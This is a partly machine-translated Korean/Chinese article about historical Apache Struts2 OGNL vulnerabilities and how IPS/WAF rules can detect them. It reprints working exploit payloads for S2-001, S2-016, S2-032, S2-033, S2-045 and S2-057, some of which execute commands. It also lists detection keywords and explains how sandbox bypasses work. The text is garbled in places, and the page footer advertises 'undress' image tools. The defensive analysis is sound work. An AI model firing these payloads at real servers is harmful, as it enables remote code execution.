보호 관점에서 Struts2 기록 취약점을 보는 방법
1. 서문
Struts2 취약점은 전형적인 일련의 취약점입니다. 근본 원인은 Struts2가 프레임워크를 유연하고 동적으로 만들기 위해 OGNL 표현식을 도입했다는 것입니다. 전반적인 프레임워크의 패치가 개선됨에 따라 이제 새로운 Struts2 취약점을 이전보다 발견하는 것이 훨씬 더 어려워질 것입니다. 실제 상황으로 판단하면 대부분의 사용자는 이미 고위험 취약점을 복구했습니다. 현재 침투 테스트를 할 때 Struts2 취약점은 주로 우연에 맡겨지거나 인트라넷에 노출된 후 패치되지 않은 시스템을 공격하는 것이 더 효과적입니다.
온라인 분석 기사는 주로 공격 및 악용의 관점에서 이러한 Struts2 취약점을 분석합니다. 새로운 H3C 공격 및 방어 팀으로서 우리 임무의 일부는 ips 제품의 규칙 기반을 유지하는 것입니다. 오늘 우리는 이 일련의 취약점을 검토하고 누락이나 오류가 있는 경우 방어자에 대한 몇 가지 아이디어를 공유하겠습니다. 수정해 주셔서 감사합니다.
2. Struts2의 역사적 취약점
Struts2의 역사적 취약점을 연구하고 부분적으로 이전 IP 및 WAF 보호 규칙을 검토하세요. 규칙을 개발할 때 다음과 같은 몇 가지 원칙이 있다고 생각합니다.
2. 취약점 또는 공격 도구에 대한 탐지 규칙을 정의할 때. , 거짓 긍정과 거짓 부정에 대해 생각해 보세요.일반적으로 공격자는 공격하기 전에 주로 .action 또는 .do로 끝나는 링크가 있는지 확인하기 위해 웹 사이트가 Struts2로 작성되었는지 확인합니다. .xml은 액션의 접미사를 지정합니다.보안 장치가 IP 주소를 자동으로 차단하지 않으면 보호 규칙이 천천히 시도될 수 있습니다. 규칙이 공개 POC 규칙만 고려하고 너무 엄격하게 작성되면 우회될 수 있으므로 이 검토를 수행합니다. 먼저 Struts2의 역사적 취약점 원칙을 살펴보겠습니다.
2.1 웹 사이트가 Struts2 프레임워크를 사용하는지 확인
<constant></constant>
구성 파일의 상수 확장 값이 쉼표로 끝나거나 null 값을 갖는 경우 접미사가 없는 작업이 있을 수 있음을 나타내며 접미사가 없는 uri도 빌드될 수 있습니다. struts2 프레임워크를 통해
기본 struts-plugin에 의해 지정된 요청 접미사인 Struts2의 나머지 플러그인을 사용하는 경우 프레임워크는 JsonLibHandler 클래스를 사용하여 출력을 처리합니다.
xhtml 및 xml로 끝나는 요청은 각각 HtmlHandler 및 XStreamHandler를 사용하여 처리됩니다. 따라서 테스트할 때 웹 사이트가 struts2 프레임워크를 사용하는지 여부를 명확하게 확인할 수 없는 경우(특히 후자의 두 가지 상황에서) 도구를 사용하여 행운을 시험해 볼 수 있습니다.
S2-045를 예로 들어 웹 프로젝트 디렉터리의 페이로드가
<constant></constant>
Breakpoint 차단 상황
에 따른 정보를 확인하세요. stack
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)</init>
if (content_type != null && content_type.contains("multipart/form-data")) { MultiPartRequest mpr = getMultiPartRequest(); LocaleProvider provider = getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

往前看,比较好用的漏洞中比较有代表性的有S2-001(S2-003,005,008年代比较久远,后来出现了比较好用的新漏洞,所以这些漏洞用的人很少,对应Struts2的版本也很低),001是Struts2框架最刚开始出现的第一个漏洞,跟045的执行过程也比较接近,都是经由TextParseUtil. translateVariables执行OGNL表达式,TextParseUtil是文本处理的功能类。不同的是S2-001是在把jsp生成java类的时候,会对表单提交的参数调用evaluateParams从而调用文本处理类的OGNL求值功能。调用堆栈如下:
translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D
提交就能触发漏洞
2.2.3 S2-016
接着是S2-016,以及S2-032,S2-033,S2-037,这几个漏洞比较接近,其中S2-016是比较好用的,由于年代太过久远了,现在已经几乎不可能利用成功,但是这个漏洞由于太经典,还是值得看看。
获取路径的Payload是:
redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
直接在uri后面跟redirect标签
调用栈:
getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)
代码注释意为, 在Struts2框架下如果mapping能直接获得结果,就调用结果对象的execute函数。
Uri标签中的redirect,对应的是ServletRedirectResult这个结果,构造函数如下,是DefaultActionMapper构造的时候顺带构造好的,
public DefaultActionMapper() { prefixTrie = new PrefixTrie() { { put(METHOD_PREFIX, new ParameterAction() { public void execute(String key, ActionMapping mapping) { if (allowDynamicMethodCalls) { mapping.setMethod(key.substring( METHOD_PREFIX.length())); } } }); put(ACTION_PREFIX, new ParameterAction() { public void execute(String key, ActionMapping mapping) { String name = key.substring(ACTION_PREFIX.length()); if (allowDynamicMethodCalls) { int bang = name.indexOf('!'); if (bang != -1) { String method = name.substring(bang + 1); mapping.setMethod(method); name = name.substring(0, bang); } } mapping.setName(name); } });
而这个ServletRedirectResult结果在解析Uri的时候,就会被设置到mapping对象中,调用栈如下:
execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)
后续ServletRedirectResult的execute函数执行后,经由conditionalParse调用文本处理类TextParseUtil的translateVariables函数进入Ognl的流程,代码得到执行。
2.2.4 S2-032,S2-033,S2-037
S2-032是框架本身漏洞,不过利用有个前提条件,需要开启动态方法执行的配置
<constant></constant>
S2-033和S2-037则是rest插件漏洞,一般来说插件漏洞利用还是比较困难的,因为开发网站的时候不一定会用到这个插件。S2-032的payload如下:
http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig
跟S2-016一样,也是uri中带特殊标签,其漏洞点也在DefaultActionMapper类的构造函数, struts.mxl文件中配置了DynamicMethodInvocation后,构造mapping的时候会满足if语句,设置method属性为冒号后的OGNL表达式
public DefaultActionMapper() { prefixTrie = new PrefixTrie() { { put(METHOD_PREFIX, new ParameterAction() { public void execute(String key, ActionMapping mapping) { if (allowDynamicMethodCalls) { mapping.setMethod(key.substring(METHOD_PREFIX.length())); } } });
在调用完Struts2默认的拦截器后,进入DefaultActionInvocation的调用函数invokeAction,后者直接调用Ognl表达式的执行。
S2-032和S2-037也是通过这个步骤得到执行的,不同的是这两漏洞是基于rest插件的。rest插件使得struts2框架的请求具备restful风格,参数直接放在uri里面提交,而非问号后面的字符串。如下为正常的请求:
漏洞利用payload为:
http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable
payload将正常的edit方法替换成了ognl代码。rest插件使用的是RestActionMapper来解析uri,生成mapping,在其getMapping函数内,解析uri设置了method变量,
int lastSlashPos = fullName.lastIndexOf(47); String id = null; if (lastSlashPos > -1) { int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1); if (prevSlashPos > -1) { mapping.setMethod(fullName.substring(lastSlashPos + 1)); fullName = fullName.substring(0, lastSlashPos); lastSlashPos = prevSlashPos; }
而后跟032一样,也是通过ognl表达式来调用这个方法的时候,执行了恶意的命令
S2-037跟S2-032漏洞点一致,是对补丁的绕过,应该是Struts2.3.28.1没有修复好。
这两个漏洞是16年的,也需要非常好的运气才能利用,毕竟依赖rest插件且年代久远。
2.2.5 S2-052
这个漏洞跟传统的Struts2漏洞不同的是,并不是利用ognl表达式执行的代码,而是使用unmarshal漏洞执行代码。缺点就是也要用到rest插件,并且对jdk版本有要求,要大于等于1.8,使用JDK 1.7测试报错如下
使用JDK 1.8测试能正常执行命令。
由于使用的不是ongl表达式执行的漏洞,防护思路也跟Struts2的常规防护有区别,后续可以跟weblogic系列漏洞合并分析。
2.2.6 S2-057
S2-057的代码执行有2个条件:
1、需要开启alwaysSelectFullNamespace配置为true,一般提取请求中uri的时候,会对比配置文件中的namespace,匹配上了选取最长的一段作为此次请求的namespace。但是如果这个参数设置为true,就不做对比,直接提取action前面的所有字符串作为namespace。
protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) { int lastSlash = uri.lastIndexOf(47); String namespace; String name; if (lastSlash == -1) { namespace = ""; name = uri; } else if (lastSlash == 0) { namespace = "/"; name = uri.substring(lastSlash + 1); } else if (this.alwaysSelectFullNamespace) { namespace = uri.substring(0, lastSlash); name = uri.substring(lastSlash + 1);} else {
例如payload使用
GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1
标红的整体ognl攻击表达式会被提取成为namespace。
2、使用了服务器跳转的结果,这里的要求是配置了actionChaining类型的action,在配置action结果的时候,使用redirectAction(ServletActionRedirectResult类),chain(ActionChainResult类),postback(PostbackResult类)作为结果类型。
<package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name="actionName">register2 </result> </action> <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2"> <result type="chain">xxx</result> </action> <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3"> <result type="postback"> <param name="actionName">register2 </result> </action> </package>
这样在处理result结果的时候,会把namespace送到ognl引擎执行。例如redirectAction(ServletActionRedirectResult类)的情况,分发器disptacher会根据action的结果,把流程传给ServletActionRedirectResult的execute函数,后者通过setLocation设置302跳转的目的地址到自己的location变量(包含了ognl恶意代码的namespace),
public void execute(ActionInvocation invocation) throws Exception { this.actionName = this.conditionalParse(this.actionName, invocation); if (this.namespace == null) { this.namespace = invocation.getProxy().getNamespace(); } else { this.namespace = this.conditionalParse(this.namespace, invocation); } if (this.method == null) { this.method = ""; } else { this.method = this.conditionalParse(this.method, invocation); } String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null)); this.setLocation(tmpLocation); super.execute(invocation); }
然后调用父类ServletRedirectResult的execute函数 ----> 调用父类StrutsResultSupport的execute函数
public void execute(ActionInvocation invocation) throws Exception { this.lastFinalLocation = this.conditionalParse(this.location, invocation); this.doExecute(this.lastFinalLocation, invocation); } protected String conditionalParse(String param, ActionInvocation invocation) { return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param; }
其中conditionalParse是条件调用TextParseUtil.translateVariables进行ognl的执行流程,这个条件是满足的,参数就是之前设置的location变量,因此代码得到执行。
2.3Struts2沙盒防护和绕过
Struts2的每一轮新的漏洞,既包含了新的Ognl代码执行的点,也包含Struts2的沙盒加强防护的绕过,而每一轮补丁除了修复Ognl的执行点,也再次强化沙盒,补丁主要都是通过struts-default.xml限制了ognl使用到的类和包,以及修改各种bean函数的访问控制符。最新版本Struts2.5.20的Struts-default.xml,限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder这几个类访问,导致漏洞利用时无法使用构造函数、进程创建函数、类加载器等方式执行代码,限制com.opensymphony.xwork2.ognl这个包的访问,导致漏洞利用时无法访问和修改_member_access,context等变量。
<constant name="struts.excludedClasses" value=" java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, java.lang.ProcessBuilder, com.opensymphony.xwork2.ActionContext"></constant> <!-- this must be valid regex, each '.' in package name must be escaped! --> <!-- it's more flexible but slower than simple string comparison --> <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / --> <!-- this is simpler version of the above used with string comparison --> <constant name="struts.excludedPackageNames" value=" ognl., javax., freemarker.core., freemarker.template., freemarker.ext.rhino., sun.reflect., javassist., org.objectweb.asm., com.opensymphony.xwork2.ognl., com.opensymphony.xwork2.security., com.opensymphony.xwork2.util."></constant>
调试时,可以对SecurityMemberAccess的isAccessible函数下断点观察ognl的沙盒防护情况。
public boolean isAccessible(Map context, Object target, Member member, String propertyName) { LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName); if (this.checkEnumAccess(target, member)) { LOG.trace("Allowing access to enum: {}", target); return true; } else { Class targetClass = target.getClass(); Class memberClass = member.getDeclaringClass(); if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) { LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName); if (!this.isClassExcluded(member.getDeclaringClass())) { targetClass = member.getDeclaringClass(); } }
三、网络侧Struts2的防护思路
一般的ips、waf规则,可以从两个方向进行检测,一个是检测漏洞发生点,另外一个是检测利用的攻击代码。Struts2有一些老的漏洞,很多是url中或者post表单中提交ognl代码,从漏洞点来看并不是太好做检测,所以一般的检测规则还是检查ognl代码,配合漏洞发生点。结合payload来看,ognl代码的构成,技术性最强的ognl代码是045和057的两个payload,还是从045的payload来看
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
OgnlContext的_memberAccess变量进行了访问控制限制,决定了哪些类,哪些包,哪些方法可以被ognl表达式所使用。045之前的补丁禁止了_memberAccess的访问:
#container=#context['com.opensymphony.xwork2.ActionContext.container'])
payload通过ActionContext对象得到Container:
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
然后用Container的getInstance方法获取到ognlUtil实例:
#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()
通过ognlUtil的公开方法清空禁止访问的类和包,后面则是常规的输出流获取和函数调用。这个ognl的payload比较典型,可以检测的点也比较多。
一般来说,ips或者waf的Struts2规则可以检测沙盒绕过使用的对象和方法,如 _memberaccess,getExcludedPackageNames,getExcludedClasses,DEFAULT_MEMBER_ACCESS都是很好的检测点,防护规则也可以检测函数调用ServletActionContext@getResponse(获取应答对象),java.lang.ProcessBuilder(进程构建,执行命令),java.lang.Runtime(运行时类建,执行命令),java.io.FileOutputStream(文件输出流,写shell),getParameter(获取参数),org.apache.commons.io.IOUtils(IO函数)。不太好的检测点包括com.opensymphony.xwork2.ActionContext.container这种字典的key或者包的全名,毕竟字符串是可以拼接和变形的,这种规则很容易绕过。其他时候规则提取的字符串尽量短一些,避免变形绕过。
테스트 결과 일부 waf 제품 규칙은 DEFAULT_MEMBER_ACCESS 및 _memberaccess 두 문자열 중 하나만 감지하는 것으로 나타났습니다. 매우 조잡해 보이고 오탐의 위험이 있지만 유연성으로 인해 감지 효과가 여전히 좋습니다. .Escape하지만 S2-016 이후의 취약점은 샌드박스를 우회하여 이 두 개체 및 관련 함수 호출을 피하기가 어렵습니다. 우회의 경우 ognl.jjt 파일을 참조할 수 있습니다. 이 파일은 ognl 표현의 어휘 및 문법 구조를 정의합니다. ognl의 관련 구문 분석 코드도 이 파일을 기반으로 생성되므로 일반 우회도 이 파일을 기반으로 시작할 수 있습니다. .
위 내용은 보호 관점에서 Struts2 기록 취약점을 보는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











1. 소개 Struts2 취약점은 전형적인 일련의 취약점입니다. 근본 원인은 Struts2가 프레임워크를 유연하고 동적으로 만들기 위해 OGNL 표현식을 도입한다는 것입니다. 전반적인 프레임워크의 패치가 개선됨에 따라 이제 새로운 Struts2 취약점을 이전보다 발견하는 것이 훨씬 더 어려워질 것입니다. 실제 상황으로 판단하면 대부분의 사용자는 이미 고위험 취약점을 복구했습니다. 현재 침투 테스트를 할 때 Struts2 취약점은 주로 우연에 맡겨지거나 인트라넷에 노출된 후 패치되지 않은 시스템을 공격하는 것이 더 효과적입니다. 온라인 분석 기사는 주로 공격 및 악용의 관점에서 이러한 Struts2 취약점을 분석합니다. 새로운 H3C 공격 및 방어 팀으로서 우리 임무의 일부는 ips 제품의 규칙 기반을 유지하는 것입니다. 오늘 우리는 이 시스템을 검토하겠습니다.

Struts2 프레임워크의 원리는 다음과 같습니다. 1. 인터셉터는 요청 경로를 구문 분석합니다. 2. Action의 전체 클래스 이름을 찾습니다. 4. Action 메서드를 실행합니다. 5. 결과를 반환합니다. 파싱. 그 원칙은 비즈니스 로직 컨트롤러를 서블릿 API에서 완전히 분리하여 코드의 재사용성과 유지 관리성을 향상시키는 인터셉터 메커니즘을 기반으로 합니다. Struts2 프레임워크는 리플렉션 메커니즘을 사용하여 요청과 응답을 처리하는 Action 개체를 유연하게 생성하고 관리할 수 있습니다.

Vulhub 취약점 시리즈: struts2 취약점 S2-0011 취약점 설명: struts2 취약점 S2-001은 사용자가 양식 데이터를 제출하고 확인에 실패할 때 서버가 OGNL 표현식을 사용하여 사용자가 이전에 제출한 매개변수 값 %{value}을(를) 구문 분석합니다. 해당 양식 데이터를 다시 채웁니다. 예를 들어 등록 또는 로그인 페이지에서. 제출이 실패하면 서버는 일반적으로 이전에 제출된 데이터를 반환하도록 기본 설정됩니다. 서버는 %{value}를 사용하여 제출된 데이터에 대해 OGNL 표현식 구문 분석을 수행하므로 서버는 명령을 실행하기 위해 페이로드를 직접 보낼 수 있습니다. 2. Vulhub 취약점 악용: Vulhub를 사용하여 취약점을 재현하면 환경 구축 프로세스를 절약할 수 있어 매우 편리합니다. 부

0x00 소개 Struts2는 Apache 소프트웨어 조직에서 출시한 매우 강력한 JavaWeb 오픈 소스 프레임워크로, 본질적으로 서블릿과 동일합니다. Struts2는 MVC 아키텍처를 기반으로 하며 명확한 프레임워크 구조를 가지고 있습니다. 일반적으로 모델과 뷰 간의 데이터 상호 작용을 설정하는 컨트롤러로 사용되며, 엔터프라이즈 수준의 Java 웹 애플리케이션을 만드는 데 사용됩니다. JavaServletAPI를 활용 및 확장하고 개발자가 MVC 아키텍처를 채택하도록 권장합니다. Struts2는 WebWork의 뛰어난 디자인 아이디어를 핵심으로 삼고 Struts 프레임워크의 장점 중 일부를 흡수하며 MVC 디자인 패턴으로 구현된 더욱 깔끔한 웹 애플리케이션 프레임워크를 제공합니다. 0x01 취약점

서문 2018년 8월 22일 Apache Strust2는 최신 보안 공지를 발표했습니다. Apache Struts2에는 고위험 원격 코드 실행 취약점(S2-057/CVE-2018-11776)이 있습니다. 이 취약점은 보안 연구원인 ManYueMo에 의해 발견되었습니다. SemmleSecurity 연구팀. 이 취약점은 Struts2 개발 프레임워크에서 XML 구성을 정의하기 위해 네임스페이스 함수를 사용할 때 네임스페이스 값이 설정되지 않고 상위 계층 액션 구성(ActionConfiguration)에 설정되지 않거나 와일드카드 네임스페이스가 사용된다는 사실로 인해 발생합니다. 이로 인해 원격 코드가 실행될 수 있습니다. 마찬가지로 당신도

0x00 소개 Struts2 프레임워크는 JavaEE 웹 애플리케이션 개발을 위한 오픈 소스 웹 애플리케이션 아키텍처입니다. JavaServletAPI를 활용 및 확장하며 개발자가 MVC 아키텍처를 채택하도록 권장합니다. Struts2는 WebWork의 뛰어난 디자인 아이디어를 핵심으로 삼고 Struts 프레임워크의 장점 중 일부를 흡수하며 MVC 디자인 패턴으로 구현된 더욱 깔끔한 웹 애플리케이션 프레임워크를 제공합니다. 0x01 취약점 개요 ApacheStruts22.3.x 시리즈에는 struts2-struts1-plugin 플러그인이 활성화되어 있고 struts2-showcase 디렉토리가 존재하는 경우 취약점이 발생합니다.

1. 개요 Struts는 ASF(Apache Software Foundation)가 후원하는 오픈 소스 프로젝트입니다. 자카르타 프로젝트 내의 하위 프로젝트로 시작하여 나중에 ASF의 최상위 프로젝트가 되었습니다. JavaServlet/JSP 기술을 사용하여 JavaEE 웹 애플리케이션의 MVC(Model-View-Controller) 디자인 패턴을 기반으로 애플리케이션 프레임워크[WebFramework]를 구현합니다. MVC 클래식 디자인 패턴의 고전적인 제품입니다. JavaEE 웹 애플리케이션 개발 초기에는 Servlet 기술 외에도 JSP(JavaServerPages)의 소스 코드에 HTM이 일반적으로 사용되었습니다.

서문 Apache Struts 프레임워크는 JavaServlets, JavaBeans 및 JavaServerPages(JSP)의 웹 애플리케이션 프레임워크를 기반으로 하는 오픈 소스 프로젝트입니다. Struts는 MVC(Model-View-Controller) 디자인 패턴을 기반으로 하며 복잡한 웹을 구축하는 데 사용할 수 있습니다. 응용 프로그램. 이를 통해 애플리케이션의 비즈니스 로직, 제어 로직 및 프레젠테이션 로직의 코드를 분해하여 재사용 및 유지 관리가 더욱 용이해집니다. Struts 프레임워크는 Jakarta 프로젝트의 일부이며 Apache Software Foundation에서 관리합니다. Tianrongxin Alpha Lab은 ApacheStruts2S2-057을 제공합니다.
